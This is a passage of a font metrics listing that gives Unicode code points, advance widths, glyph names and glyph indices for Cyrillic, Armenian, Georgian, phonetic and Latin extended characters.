U 1053 ; WX 872 ; N uni041D ; G 904
U 1054 ; WX 820 ; N uni041E ; G 905
U 1055 ; WX 872 ; N uni041F ; G 906
U 1056 ; WX 673 ; N uni0420 ; G 907
U 1057 ; WX 765 ; N uni0421 ; G 908
U 1058 ; WX 667 ; N uni0422 ; G 909
U 1059 ; WX 723 ; N uni0423 ; G 910
U 1060 ; WX 830 ; N uni0424 ; G 911
U 1061 ; WX 712 ; N uni0425 ; G 912
U 1062 ; WX 872 ; N uni0426 ; G 913
U 1063 ; WX 773 ; N uni0427 ; G 914
U 1064 ; WX 1141 ; N uni0428 ; G 915
U 1065 ; WX 1141 ; N uni0429 ; G 916
U 1066 ; WX 794 ; N uni042A ; G 917
U 1067 ; WX 984 ; N uni042B ; G 918
U 1068 ; WX 674 ; N uni042C ; G 919
U 1069 ; WX 765 ; N uni042D ; G 920
U 1070 ; WX 1193 ; N uni042E ; G 921
U 1071 ; WX 808 ; N uni042F ; G 922
U 1072 ; WX 596 ; N uni0430 ; G 923
U 1073 ; WX 610 ; N uni0431 ; G 924
U 1074 ; WX 582 ; N uni0432 ; G 925
U 1075 ; WX 505 ; N uni0433 ; G 926
U 1076 ; WX 634 ; N uni0434 ; G 927
U 1077 ; WX 592 ; N uni0435 ; G 928
U 1078 ; WX 1137 ; N uni0436 ; G 929
U 1079 ; WX 545 ; N uni0437 ; G 930
U 1080 ; WX 644 ; N uni0438 ; G 931
U 1081 ; WX 644 ; N uni0439 ; G 932
U 1082 ; WX 597 ; N uni043A ; G 933
U 1083 ; WX 637 ; N uni043B ; G 934
U 1084 ; WX 829 ; N uni043C ; G 935
U 1085 ; WX 659 ; N uni043D ; G 936
U 1086 ; WX 602 ; N uni043E ; G 937
U 1087 ; WX 644 ; N uni043F ; G 938
U 1088 ; WX 640 ; N uni0440 ; G 939
U 1089 ; WX 560 ; N uni0441 ; G 940
U 1090 ; WX 948 ; N uni0442 ; G 941
U 1091 ; WX 580 ; N uni0443 ; G 942
U 1092 ; WX 783 ; N uni0444 ; G 943
U 1093 ; WX 564 ; N uni0445 ; G 944
U 1094 ; WX 698 ; N uni0446 ; G 945
U 1095 ; WX 622 ; N uni0447 ; G 946
U 1096 ; WX 947 ; N uni0448 ; G 947
U 1097 ; WX 1001 ; N uni0449 ; G 948
U 1098 ; WX 667 ; N uni044A ; G 949
U 1099 ; WX 814 ; N uni044B ; G 950
U 1100 ; WX 544 ; N uni044C ; G 951
U 1101 ; WX 560 ; N uni044D ; G 952
U 1102 ; WX 880 ; N uni044E ; G 953
U 1103 ; WX 662 ; N uni044F ; G 954
U 1104 ; WX 592 ; N uni0450 ; G 955
U 1105 ; WX 592 ; N uni0451 ; G 956
U 1106 ; WX 624 ; N uni0452 ; G 957
U 1107 ; WX 505 ; N uni0453 ; G 958
U 1108 ; WX 560 ; N uni0454 ; G 959
U 1109 ; WX 513 ; N uni0455 ; G 960
U 1110 ; WX 320 ; N uni0456 ; G 961
U 1111 ; WX 320 ; N uni0457 ; G 962
U 1112 ; WX 310 ; N uni0458 ; G 963
U 1113 ; WX 859 ; N uni0459 ; G 964
U 1114 ; WX 878 ; N uni045A ; G 965
U 1115 ; WX 644 ; N uni045B ; G 966
U 1116 ; WX 597 ; N uni045C ; G 967
U 1117 ; WX 644 ; N uni045D ; G 968
U 1118 ; WX 580 ; N uni045E ; G 969
U 1119 ; WX 644 ; N uni045F ; G 970
U 1122 ; WX 762 ; N uni0462 ; G 971
U 1123 ; WX 882 ; N uni0463 ; G 972
U 1124 ; WX 1129 ; N uni0464 ; G 973
U 1125 ; WX 834 ; N uni0465 ; G 974
U 1130 ; WX 1124 ; N uni046A ; G 975
U 1131 ; WX 920 ; N uni046B ; G 976
U 1132 ; WX 1359 ; N uni046C ; G 977
U 1133 ; WX 1063 ; N uni046D ; G 978
U 1136 ; WX 944 ; N uni0470 ; G 979
U 1137 ; WX 902 ; N uni0471 ; G 980
U 1138 ; WX 820 ; N uni0472 ; G 981
U 1139 ; WX 552 ; N uni0473 ; G 982
U 1140 ; WX 859 ; N uni0474 ; G 983
U 1141 ; WX 678 ; N uni0475 ; G 984
U 1142 ; WX 859 ; N uni0476 ; G 985
U 1143 ; WX 678 ; N uni0477 ; G 986
U 1164 ; WX 707 ; N uni048C ; G 987
U 1165 ; WX 544 ; N uni048D ; G 988
U 1168 ; WX 672 ; N uni0490 ; G 989
U 1169 ; WX 529 ; N uni0491 ; G 990
U 1170 ; WX 662 ; N uni0492 ; G 991
U 1171 ; WX 505 ; N uni0493 ; G 992
U 1172 ; WX 730 ; N uni0494 ; G 993
U 1173 ; WX 614 ; N uni0495 ; G 994
U 1174 ; WX 1124 ; N uni0496 ; G 995
U 1175 ; WX 1137 ; N uni0497 ; G 996
U 1176 ; WX 623 ; N uni0498 ; G 997
U 1177 ; WX 545 ; N uni0499 ; G 998
U 1178 ; WX 774 ; N uni049A ; G 999
U 1179 ; WX 604 ; N uni049B ; G 1000
U 1182 ; WX 774 ; N uni049E ; G 1001
U 1183 ; WX 597 ; N uni049F ; G 1002
U 1184 ; WX 892 ; N uni04A0 ; G 1003
U 1185 ; WX 669 ; N uni04A1 ; G 1004
U 1186 ; WX 872 ; N uni04A2 ; G 1005
U 1187 ; WX 712 ; N uni04A3 ; G 1006
U 1188 ; WX 1139 ; N uni04A4 ; G 1007
U 1189 ; WX 857 ; N uni04A5 ; G 1008
U 1190 ; WX 1206 ; N uni04A6 ; G 1009
U 1191 ; WX 943 ; N uni04A7 ; G 1010
U 1194 ; WX 765 ; N uni04AA ; G 1011
U 1195 ; WX 560 ; N uni04AB ; G 1012
U 1196 ; WX 667 ; N uni04AC ; G 1013
U 1197 ; WX 1013 ; N uni04AD ; G 1014
U 1198 ; WX 660 ; N uni04AE ; G 1015
U 1199 ; WX 571 ; N uni04AF ; G 1016
U 1200 ; WX 660 ; N uni04B0 ; G 1017
U 1201 ; WX 571 ; N uni04B1 ; G 1018
U 1202 ; WX 712 ; N uni04B2 ; G 1019
U 1203 ; WX 629 ; N uni04B3 ; G 1020
U 1204 ; WX 936 ; N uni04B4 ; G 1021
U 1205 ; WX 732 ; N uni04B5 ; G 1022
U 1206 ; WX 749 ; N uni04B6 ; G 1023
U 1207 ; WX 677 ; N uni04B7 ; G 1024
U 1210 ; WX 749 ; N uni04BA ; G 1025
U 1211 ; WX 644 ; N uni04BB ; G 1026
U 1216 ; WX 395 ; N uni04C0 ; G 1027
U 1217 ; WX 1124 ; N uni04C1 ; G 1028
U 1218 ; WX 1137 ; N uni04C2 ; G 1029
U 1219 ; WX 747 ; N uni04C3 ; G 1030
U 1220 ; WX 606 ; N uni04C4 ; G 1031
U 1223 ; WX 872 ; N uni04C7 ; G 1032
U 1224 ; WX 667 ; N uni04C8 ; G 1033
U 1227 ; WX 749 ; N uni04CB ; G 1034
U 1228 ; WX 667 ; N uni04CC ; G 1035
U 1231 ; WX 320 ; N uni04CF ; G 1036
U 1232 ; WX 757 ; N uni04D0 ; G 1037
U 1233 ; WX 596 ; N uni04D1 ; G 1038
U 1234 ; WX 757 ; N uni04D2 ; G 1039
U 1235 ; WX 596 ; N uni04D3 ; G 1040
U 1236 ; WX 1001 ; N uni04D4 ; G 1041
U 1237 ; WX 940 ; N uni04D5 ; G 1042
U 1238 ; WX 730 ; N uni04D6 ; G 1043
U 1239 ; WX 592 ; N uni04D7 ; G 1044
U 1240 ; WX 820 ; N uni04D8 ; G 1045
U 1241 ; WX 592 ; N uni04D9 ; G 1046
U 1242 ; WX 820 ; N uni04DA ; G 1047
U 1243 ; WX 592 ; N uni04DB ; G 1048
U 1244 ; WX 1124 ; N uni04DC ; G 1049
U 1245 ; WX 1137 ; N uni04DD ; G 1050
U 1246 ; WX 623 ; N uni04DE ; G 1051
U 1247 ; WX 545 ; N uni04DF ; G 1052
U 1248 ; WX 564 ; N uni04E0 ; G 1053
U 1249 ; WX 564 ; N uni04E1 ; G 1054
U 1250 ; WX 872 ; N uni04E2 ; G 1055
U 1251 ; WX 644 ; N uni04E3 ; G 1056
U 1252 ; WX 872 ; N uni04E4 ; G 1057
U 1253 ; WX 644 ; N uni04E5 ; G 1058
U 1254 ; WX 820 ; N uni04E6 ; G 1059
U 1255 ; WX 602 ; N uni04E7 ; G 1060
U 1256 ; WX 820 ; N uni04E8 ; G 1061
U 1257 ; WX 602 ; N uni04E9 ; G 1062
U 1258 ; WX 820 ; N uni04EA ; G 1063
U 1259 ; WX 602 ; N uni04EB ; G 1064
U 1260 ; WX 765 ; N uni04EC ; G 1065
U 1261 ; WX 560 ; N uni04ED ; G 1066
U 1262 ; WX 723 ; N uni04EE ; G 1067
U 1263 ; WX 580 ; N uni04EF ; G 1068
U 1264 ; WX 723 ; N uni04F0 ; G 1069
U 1265 ; WX 580 ; N uni04F1 ; G 1070
U 1266 ; WX 723 ; N uni04F2 ; G 1071
U 1267 ; WX 580 ; N uni04F3 ; G 1072
U 1268 ; WX 773 ; N uni04F4 ; G 1073
U 1269 ; WX 622 ; N uni04F5 ; G 1074
U 1270 ; WX 662 ; N uni04F6 ; G 1075
U 1271 ; WX 505 ; N uni04F7 ; G 1076
U 1272 ; WX 984 ; N uni04F8 ; G 1077
U 1273 ; WX 814 ; N uni04F9 ; G 1078
U 1296 ; WX 623 ; N uni0510 ; G 1079
U 1297 ; WX 545 ; N uni0511 ; G 1080
U 1298 ; WX 834 ; N uni0512 ; G 1081
U 1299 ; WX 637 ; N uni0513 ; G 1082
U 1300 ; WX 1199 ; N uni0514 ; G 1083
U 1301 ; WX 939 ; N uni0515 ; G 1084
U 1306 ; WX 820 ; N uni051A ; G 1085
U 1307 ; WX 640 ; N uni051B ; G 1086
U 1308 ; WX 1028 ; N uni051C ; G 1087
U 1309 ; WX 856 ; N uni051D ; G 1088
U 1329 ; WX 810 ; N uni0531 ; G 1089
U 1330 ; WX 811 ; N uni0532 ; G 1090
U 1331 ; WX 806 ; N uni0533 ; G 1091
U 1332 ; WX 828 ; N uni0534 ; G 1092
U 1333 ; WX 806 ; N uni0535 ; G 1093
U 1334 ; WX 826 ; N uni0536 ; G 1094
U 1335 ; WX 761 ; N uni0537 ; G 1095
U 1336 ; WX 811 ; N uni0538 ; G 1096
U 1337 ; WX 968 ; N uni0539 ; G 1097
U 1338 ; WX 816 ; N uni053A ; G 1098
U 1339 ; WX 772 ; N uni053B ; G 1099
U 1340 ; WX 682 ; N uni053C ; G 1100
U 1341 ; WX 1097 ; N uni053D ; G 1101
U 1342 ; WX 845 ; N uni053E ; G 1102
U 1343 ; WX 804 ; N uni053F ; G 1103
U 1344 ; WX 719 ; N uni0540 ; G 1104
U 1345 ; WX 810 ; N uni0541 ; G 1105
U 1346 ; WX 833 ; N uni0542 ; G 1106
U 1347 ; WX 831 ; N uni0543 ; G 1107
U 1348 ; WX 897 ; N uni0544 ; G 1108
U 1349 ; WX 763 ; N uni0545 ; G 1109
U 1350 ; WX 794 ; N uni0546 ; G 1110
U 1351 ; WX 754 ; N uni0547 ; G 1111
U 1352 ; WX 799 ; N uni0548 ; G 1112
U 1353 ; WX 797 ; N uni0549 ; G 1113
U 1354 ; WX 875 ; N uni054A ; G 1114
U 1355 ; WX 830 ; N uni054B ; G 1115
U 1356 ; WX 864 ; N uni054C ; G 1116
U 1357 ; WX 799 ; N uni054D ; G 1117
U 1358 ; WX 802 ; N uni054E ; G 1118
U 1359 ; WX 731 ; N uni054F ; G 1119
U 1360 ; WX 774 ; N uni0550 ; G 1120
U 1361 ; WX 749 ; N uni0551 ; G 1121
U 1362 ; WX 633 ; N uni0552 ; G 1122
U 1363 ; WX 845 ; N uni0553 ; G 1123
U 1364 ; WX 843 ; N uni0554 ; G 1124
U 1365 ; WX 835 ; N uni0555 ; G 1125
U 1366 ; WX 821 ; N uni0556 ; G 1126
U 1369 ; WX 307 ; N uni0559 ; G 1127
U 1370 ; WX 264 ; N uni055A ; G 1128
U 1371 ; WX 229 ; N uni055B ; G 1129
U 1372 ; WX 391 ; N uni055C ; G 1130
U 1373 ; WX 364 ; N uni055D ; G 1131
U 1374 ; WX 386 ; N uni055E ; G 1132
U 1375 ; WX 500 ; N uni055F ; G 1133
U 1377 ; WX 949 ; N uni0561 ; G 1134
U 1378 ; WX 618 ; N uni0562 ; G 1135
U 1379 ; WX 695 ; N uni0563 ; G 1136
U 1380 ; WX 695 ; N uni0564 ; G 1137
U 1381 ; WX 628 ; N uni0565 ; G 1138
U 1382 ; WX 688 ; N uni0566 ; G 1139
U 1383 ; WX 510 ; N uni0567 ; G 1140
U 1384 ; WX 636 ; N uni0568 ; G 1141
U 1385 ; WX 791 ; N uni0569 ; G 1142
U 1386 ; WX 671 ; N uni056A ; G 1143
U 1387 ; WX 635 ; N uni056B ; G 1144
U 1388 ; WX 305 ; N uni056C ; G 1145
U 1389 ; WX 973 ; N uni056D ; G 1146
U 1390 ; WX 614 ; N uni056E ; G 1147
U 1391 ; WX 628 ; N uni056F ; G 1148
U 1392 ; WX 636 ; N uni0570 ; G 1149
U 1393 ; WX 630 ; N uni0571 ; G 1150
U 1394 ; WX 636 ; N uni0572 ; G 1151
U 1395 ; WX 654 ; N uni0573 ; G 1152
U 1396 ; WX 644 ; N uni0574 ; G 1153
U 1397 ; WX 309 ; N uni0575 ; G 1154
U 1398 ; WX 636 ; N uni0576 ; G 1155
U 1399 ; WX 461 ; N uni0577 ; G 1156
U 1400 ; WX 649 ; N uni0578 ; G 1157
U 1401 ; WX 365 ; N uni0579 ; G 1158
U 1402 ; WX 940 ; N uni057A ; G 1159
U 1403 ; WX 562 ; N uni057B ; G 1160
U 1404 ; WX 657 ; N uni057C ; G 1161
U 1405 ; WX 644 ; N uni057D ; G 1162
U 1406 ; WX 630 ; N uni057E ; G 1163
U 1407 ; WX 930 ; N uni057F ; G 1164
U 1408 ; WX 644 ; N uni0580 ; G 1165
U 1409 ; WX 643 ; N uni0581 ; G 1166
U 1410 ; WX 483 ; N uni0582 ; G 1167
U 1411 ; WX 930 ; N uni0583 ; G 1168
U 1412 ; WX 636 ; N uni0584 ; G 1169
U 1413 ; WX 609 ; N uni0585 ; G 1170
U 1414 ; WX 809 ; N uni0586 ; G 1171
U 1415 ; WX 789 ; N uni0587 ; G 1172
U 1417 ; WX 340 ; N uni0589 ; G 1173
U 1418 ; WX 334 ; N uni058A ; G 1174
U 3647 ; WX 636 ; N uni0E3F ; G 1175
U 4256 ; WX 732 ; N uni10A0 ; G 1176
U 4257 ; WX 860 ; N uni10A1 ; G 1177
U 4258 ; WX 837 ; N uni10A2 ; G 1178
U 4259 ; WX 869 ; N uni10A3 ; G 1179
U 4260 ; WX 743 ; N uni10A4 ; G 1180
U 4261 ; WX 991 ; N uni10A5 ; G 1181
U 4262 ; WX 925 ; N uni10A6 ; G 1182
U 4263 ; WX 1111 ; N uni10A7 ; G 1183
U 4264 ; WX 576 ; N uni10A8 ; G 1184
U 4265 ; WX 760 ; N uni10A9 ; G 1185
U 4266 ; WX 972 ; N uni10AA ; G 1186
U 4267 ; WX 951 ; N uni10AB ; G 1187
U 4268 ; WX 753 ; N uni10AC ; G 1188
U 4269 ; WX 1084 ; N uni10AD ; G 1189
U 4270 ; WX 906 ; N uni10AE ; G 1190
U 4271 ; WX 838 ; N uni10AF ; G 1191
U 4272 ; WX 1049 ; N uni10B0 ; G 1192
U 4273 ; WX 743 ; N uni10B1 ; G 1193
U 4274 ; WX 679 ; N uni10B2 ; G 1194
U 4275 ; WX 1025 ; N uni10B3 ; G 1195
U 4276 ; WX 946 ; N uni10B4 ; G 1196
U 4277 ; WX 1029 ; N uni10B5 ; G 1197
U 4278 ; WX 741 ; N uni10B6 ; G 1198
U 4279 ; WX 743 ; N uni10B7 ; G 1199
U 4280 ; WX 742 ; N uni10B8 ; G 1200
U 4281 ; WX 743 ; N uni10B9 ; G 1201
U 4282 ; WX 889 ; N uni10BA ; G 1202
U 4283 ; WX 946 ; N uni10BB ; G 1203
U 4284 ; WX 724 ; N uni10BC ; G 1204
U 4285 ; WX 765 ; N uni10BD ; G 1205
U 4286 ; WX 743 ; N uni10BE ; G 1206
U 4287 ; WX 968 ; N uni10BF ; G 1207
U 4288 ; WX 1010 ; N uni10C0 ; G 1208
U 4289 ; WX 712 ; N uni10C1 ; G 1209
U 4290 ; WX 874 ; N uni10C2 ; G 1210
U 4291 ; WX 744 ; N uni10C3 ; G 1211
U 4292 ; WX 847 ; N uni10C4 ; G 1212
U 4293 ; WX 960 ; N uni10C5 ; G 1213
U 4304 ; WX 550 ; N uni10D0 ; G 1214
U 4305 ; WX 581 ; N uni10D1 ; G 1215
U 4306 ; WX 599 ; N uni10D2 ; G 1216
U 4307 ; WX 843 ; N uni10D3 ; G 1217
U 4308 ; WX 571 ; N uni10D4 ; G 1218
U 4309 ; WX 567 ; N uni10D5 ; G 1219
U 4310 ; WX 620 ; N uni10D6 ; G 1220
U 4311 ; WX 871 ; N uni10D7 ; G 1221
U 4312 ; WX 569 ; N uni10D8 ; G 1222
U 4313 ; WX 556 ; N uni10D9 ; G 1223
U 4314 ; WX 1076 ; N uni10DA ; G 1224
U 4315 ; WX 596 ; N uni10DB ; G 1225
U 4316 ; WX 596 ; N uni10DC ; G 1226
U 4317 ; WX 835 ; N uni10DD ; G 1227
U 4318 ; WX 580 ; N uni10DE ; G 1228
U 4319 ; WX 590 ; N uni10DF ; G 1229
U 4320 ; WX 833 ; N uni10E0 ; G 1230
U 4321 ; WX 607 ; N uni10E1 ; G 1231
U 4322 ; WX 758 ; N uni10E2 ; G 1232
U 4323 ; WX 701 ; N uni10E3 ; G 1233
U 4324 ; WX 825 ; N uni10E4 ; G 1234
U 4325 ; WX 595 ; N uni10E5 ; G 1235
U 4326 ; WX 868 ; N uni10E6 ; G 1236
U 4327 ; WX 578 ; N uni10E7 ; G 1237
U 4328 ; WX 604 ; N uni10E8 ; G 1238
U 4329 ; WX 596 ; N uni10E9 ; G 1239
U 4330 ; WX 685 ; N uni10EA ; G 1240
U 4331 ; WX 597 ; N uni10EB ; G 1241
U 4332 ; WX 557 ; N uni10EC ; G 1242
U 4333 ; WX 585 ; N uni10ED ; G 1243
U 4334 ; WX 625 ; N uni10EE ; G 1244
U 4335 ; WX 693 ; N uni10EF ; G 1245
U 4336 ; WX 582 ; N uni10F0 ; G 1246
U 4337 ; WX 613 ; N uni10F1 ; G 1247
U 4338 ; WX 581 ; N uni10F2 ; G 1248
U 4339 ; WX 582 ; N uni10F3 ; G 1249
U 4340 ; WX 580 ; N uni10F4 ; G 1250
U 4341 ; WX 659 ; N uni10F5 ; G 1251
U 4342 ; WX 896 ; N uni10F6 ; G 1252
U 4343 ; WX 636 ; N uni10F7 ; G 1253
U 4344 ; WX 592 ; N uni10F8 ; G 1254
U 4345 ; WX 628 ; N uni10F9 ; G 1255
U 4346 ; WX 581 ; N uni10FA ; G 1256
U 4347 ; WX 456 ; N uni10FB ; G 1257
U 4348 ; WX 373 ; N uni10FC ; G 1258
U 7424 ; WX 565 ; N uni1D00 ; G 1259
U 7425 ; WX 774 ; N uni1D01 ; G 1260
U 7426 ; WX 940 ; N uni1D02 ; G 1261
U 7427 ; WX 563 ; N uni1D03 ; G 1262
U 7428 ; WX 560 ; N uni1D04 ; G 1263
U 7429 ; WX 585 ; N uni1D05 ; G 1264
U 7430 ; WX 585 ; N uni1D06 ; G 1265
U 7431 ; WX 553 ; N uni1D07 ; G 1266
U 7432 ; WX 509 ; N uni1D08 ; G 1267
U 7433 ; WX 320 ; N uni1D09 ; G 1268
U 7434 ; WX 499 ; N uni1D0A ; G 1269
U 7435 ; WX 597 ; N uni1D0B ; G 1270
U 7436 ; WX 543 ; N uni1D0C ; G 1271
U 7437 ; WX 778 ; N uni1D0D ; G 1272
U 7438 ; WX 667 ; N uni1D0E ; G 1273
U 7439 ; WX 602 ; N uni1D0F ; G 1274
U 7440 ; WX 560 ; N uni1D10 ; G 1275
U 7441 ; WX 647 ; N uni1D11 ; G 1276
U 7442 ; WX 647 ; N uni1D12 ; G 1277
U 7443 ; WX 647 ; N uni1D13 ; G 1278
U 7444 ; WX 989 ; N uni1D14 ; G 1279
U 7445 ; WX 512 ; N uni1D15 ; G 1280
U 7446 ; WX 602 ; N uni1D16 ; G 1281
U 7447 ; WX 602 ; N uni1D17 ; G 1282
U 7448 ; WX 553 ; N uni1D18 ; G 1283
U 7449 ; WX 594 ; N uni1D19 ; G 1284
U 7450 ; WX 594 ; N uni1D1A ; G 1285
U 7451 ; WX 553 ; N uni1D1B ; G 1286
U 7452 ; WX 585 ; N uni1D1C ; G 1287
U 7453 ; WX 664 ; N uni1D1D ; G 1288
U 7454 ; WX 923 ; N uni1D1E ; G 1289
U 7455 ; WX 655 ; N uni1D1F ; G 1290
U 7456 ; WX 565 ; N uni1D20 ; G 1291
U 7457 ; WX 856 ; N uni1D21 ; G 1292
U 7458 ; WX 527 ; N uni1D22 ; G 1293
U 7459 ; WX 527 ; N uni1D23 ; G 1294
U 7460 ; WX 531 ; N uni1D24 ; G 1295
U 7461 ; WX 743 ; N uni1D25 ; G 1296
U 7462 ; WX 524 ; N uni1D26 ; G 1297
U 7463 ; WX 565 ; N uni1D27 ; G 1298
U 7464 ; WX 657 ; N uni1D28 ; G 1299
U 7465 ; WX 553 ; N uni1D29 ; G 1300
U 7466 ; WX 703 ; N uni1D2A ; G 1301
U 7467 ; WX 635 ; N uni1D2B ; G 1302
U 7468 ; WX 455 ; N uni1D2C ; G 1303
U 7469 ; WX 630 ; N uni1D2D ; G 1304
U 7470 ; WX 463 ; N uni1D2E ; G 1305
U 7471 ; WX 463 ; N uni1D2F ; G 1306
U 7472 ; WX 505 ; N uni1D30 ; G 1307
U 7473 ; WX 459 ; N uni1D31 ; G 1308
U 7474 ; WX 459 ; N uni1D32 ; G 1309
U 7475 ; WX 503 ; N uni1D33 ; G 1310
U 7476 ; WX 549 ; N uni1D34 ; G 1311
U 7477 ; WX 249 ; N uni1D35 ; G 1312
U 7478 ; WX 252 ; N uni1D36 ; G 1313
U 7479 ; WX 470 ; N uni1D37 ; G 1314
U 7480 ; WX 418 ; N uni1D38 ; G 1315
U 7481 ; WX 645 ; N uni1D39 ; G 1316
U 7482 ; WX 551 ; N uni1D3A ; G 1317
U 7483 ; WX 551 ; N uni1D3B ; G 1318
U 7484 ; WX 516 ; N uni1D3C ; G 1319
U 7485 ; WX 369 ; N uni1D3D ; G 1320
U 7486 ; WX 424 ; N uni1D3E ; G 1321
U 7487 ; WX 474 ; N uni1D3F ; G 1322
U 7488 ; WX 420 ; N uni1D40 ; G 1323
U 7489 ; WX 531 ; N uni1D41 ; G 1324
U 7490 ; WX 647 ; N uni1D42 ; G 1325
U 7491 ; WX 375 ; N uni1D43 ; G 1326
U 7492 ; WX 375 ; N uni1D44 ; G 1327
U 7493 ; WX 425 ; N uni1D45 ; G 1328
U 7494 ; WX 592 ; N uni1D46 ; G 1329
U 7495 ; WX 400 ; N uni1D47 ; G 1330
U 7496 ; WX 400 ; N uni1D48 ; G 1331
U 7497 ; WX 387 ; N uni1D49 ; G 1332
U 7498 ; WX 387 ; N uni1D4A ; G 1333
U 7499 ; WX 428 ; N uni1D4B ; G 1334
U 7500 ; WX 340 ; N uni1D4C ; G 1335
U 7501 ; WX 400 ; N uni1D4D ; G 1336
U 7502 ; WX 175 ; N uni1D4E ; G 1337
U 7503 ; WX 365 ; N uni1D4F ; G 1338
U 7504 ; WX 613 ; N uni1D50 ; G 1339
U 7505 ; WX 399 ; N uni1D51 ; G 1340
U 7506 ; WX 385 ; N uni1D52 ; G 1341
U 7507 ; WX 346 ; N uni1D53 ; G 1342
U 7508 ; WX 385 ; N uni1D54 ; G 1343
U 7509 ; WX 385 ; N uni1D55 ; G 1344
U 7510 ; WX 400 ; N uni1D56 ; G 1345
U 7511 ; WX 247 ; N uni1D57 ; G 1346
U 7512 ; WX 399 ; N uni1D58 ; G 1347
U 7513 ; WX 418 ; N uni1D59 ; G 1348
U 7514 ; WX 613 ; N uni1D5A ; G 1349
U 7515 ; WX 373 ; N uni1D5B ; G 1350
U 7516 ; WX 468 ; N uni1D5C ; G 1351
U 7517 ; WX 364 ; N uni1D5D ; G 1352
U 7518 ; WX 376 ; N uni1D5E ; G 1353
U 7519 ; WX 379 ; N uni1D5F ; G 1354
U 7520 ; WX 441 ; N uni1D60 ; G 1355
U 7521 ; WX 381 ; N uni1D61 ; G 1356
U 7522 ; WX 201 ; N uni1D62 ; G 1357
U 7523 ; WX 347 ; N uni1D63 ; G 1358
U 7524 ; WX 399 ; N uni1D64 ; G 1359
U 7525 ; WX 373 ; N uni1D65 ; G 1360
U 7526 ; WX 364 ; N uni1D66 ; G 1361
U 7527 ; WX 376 ; N uni1D67 ; G 1362
U 7528 ; WX 370 ; N uni1D68 ; G 1363
U 7529 ; WX 441 ; N uni1D69 ; G 1364
U 7530 ; WX 381 ; N uni1D6A ; G 1365
U 7531 ; WX 974 ; N uni1D6B ; G 1366
U 7543 ; WX 640 ; N uni1D77 ; G 1367
U 7544 ; WX 549 ; N uni1D78 ; G 1368
U 7547 ; WX 320 ; N uni1D7B ; G 1369
U 7548 ; WX 392 ; N uni1D7C ; G 1370
U 7549 ; WX 640 ; N uni1D7D ; G 1371
U 7550 ; WX 585 ; N uni1D7E ; G 1372
U 7551 ; WX 620 ; N uni1D7F ; G 1373
U 7557 ; WX 320 ; N uni1D85 ; G 1374
U 7579 ; WX 425 ; N uni1D9B ; G 1375
U 7580 ; WX 353 ; N uni1D9C ; G 1376
U 7581 ; WX 353 ; N uni1D9D ; G 1377
U 7582 ; WX 473 ; N uni1D9E ; G 1378
U 7583 ; WX 428 ; N uni1D9F ; G 1379
U 7584 ; WX 233 ; N uni1DA0 ; G 1380
U 7585 ; WX 316 ; N uni1DA1 ; G 1381
U 7586 ; WX 488 ; N uni1DA2 ; G 1382
U 7587 ; WX 399 ; N uni1DA3 ; G 1383
U 7588 ; WX 201 ; N uni1DA4 ; G 1384
U 7589 ; WX 201 ; N uni1DA5 ; G 1385
U 7590 ; WX 201 ; N uni1DA6 ; G 1386
U 7591 ; WX 201 ; N uni1DA7 ; G 1387
U 7592 ; WX 318 ; N uni1DA8 ; G 1388
U 7593 ; WX 263 ; N uni1DA9 ; G 1389
U 7594 ; WX 263 ; N uni1DAA ; G 1390
U 7595 ; WX 455 ; N uni1DAB ; G 1391
U 7596 ; WX 613 ; N uni1DAC ; G 1392
U 7597 ; WX 613 ; N uni1DAD ; G 1393
U 7598 ; WX 495 ; N uni1DAE ; G 1394
U 7599 ; WX 492 ; N uni1DAF ; G 1395
U 7600 ; WX 487 ; N uni1DB0 ; G 1396
U 7601 ; WX 385 ; N uni1DB1 ; G 1397
U 7602 ; WX 473 ; N uni1DB2 ; G 1398
U 7603 ; WX 328 ; N uni1DB3 ; G 1399
U 7604 ; WX 299 ; N uni1DB4 ; G 1400
U 7605 ; WX 334 ; N uni1DB5 ; G 1401
U 7606 ; WX 399 ; N uni1DB6 ; G 1402
U 7607 ; WX 477 ; N uni1DB7 ; G 1403
U 7608 ; WX 368 ; N uni1DB8 ; G 1404
U 7609 ; WX 464 ; N uni1DB9 ; G 1405
U 7610 ; WX 355 ; N uni1DBA ; G 1406
U 7611 ; WX 332 ; N uni1DBB ; G 1407
U 7612 ; WX 418 ; N uni1DBC ; G 1408
U 7613 ; WX 418 ; N uni1DBD ; G 1409
U 7614 ; WX 452 ; N uni1DBE ; G 1410
U 7615 ; WX 473 ; N uni1DBF ; G 1411
U 7620 ; WX 0 ; N uni1DC4 ; G 1412
U 7621 ; WX 0 ; N uni1DC5 ; G 1413
U 7622 ; WX 0 ; N uni1DC6 ; G 1414
U 7623 ; WX 0 ; N uni1DC7 ; G 1415
U 7624 ; WX 0 ; N uni1DC8 ; G 1416
U 7625 ; WX 0 ; N uni1DC9 ; G 1417
U 7680 ; WX 722 ; N uni1E00 ; G 1418
U 7681 ; WX 596 ; N uni1E01 ; G 1419
U 7682 ; WX 735 ; N uni1E02 ; G 1420
U 7683 ; WX 640 ; N uni1E03 ; G 1421
U 7684 ; WX 735 ; N uni1E04 ; G 1422
U 7685 ; WX 640 ; N uni1E05 ; G 1423
U 7686 ; WX 735 ; N uni1E06 ; G 1424
U 7687 ; WX 640 ; N uni1E07 ; G 1425
U 7688 ; WX 765 ; N uni1E08 ; G 1426
U 7689 ; WX 560 ; N uni1E09 ; G 1427
U 7690 ; WX 802 ; N uni1E0A ; G 1428
U 7691 ; WX 640 ; N uni1E0B ; G 1429
U 7692 ; WX 802 ; N uni1E0C ; G 1430
U 7693 ; WX 640 ; N uni1E0D ; G 1431
U 7694 ; WX 802 ; N uni1E0E ; G 1432
U 7695 ; WX 640 ; N uni1E0F ; G 1433
U 7696 ; WX 802 ; N uni1E10 ; G 1434
U 7697 ; WX 640 ; N uni1E11 ; G 1435
U 7698 ; WX 802 ; N uni1E12 ; G 1436
U 7699 ; WX 640 ; N uni1E13 ; G 1437
U 7700 ; WX 730 ; N uni1E14 ; G 1438
U 7701 ; WX 592 ; N uni1E15 ; G 1439
U 7702 ; WX 730 ; N uni1E16 ; G 1440
U 7703 ; WX 592 ; N uni1E17 ; G 1441
U 7704 ; WX 730 ; N uni1E18 ; G 1442
U 7705 ; WX 592 ; N uni1E19 ; G 1443
U 7706 ; WX 730 ; N uni1E1A ; G 1444
U 7707 ; WX 592 ; N uni1E1B ; G 1445
U 7708 ; WX 730 ; N uni1E1C ; G 1446
U 7709 ; WX 592 ; N uni1E1D ; G 1447
U 7710 ; WX 694 ; N uni1E1E ; G 1448
U 7711 ; WX 370 ; N uni1E1F ; G 1449
U 7712 ; WX 799 ; N uni1E20 ; G 1450
U 7713 ; WX 640 ; N uni1E21 ; G 1451
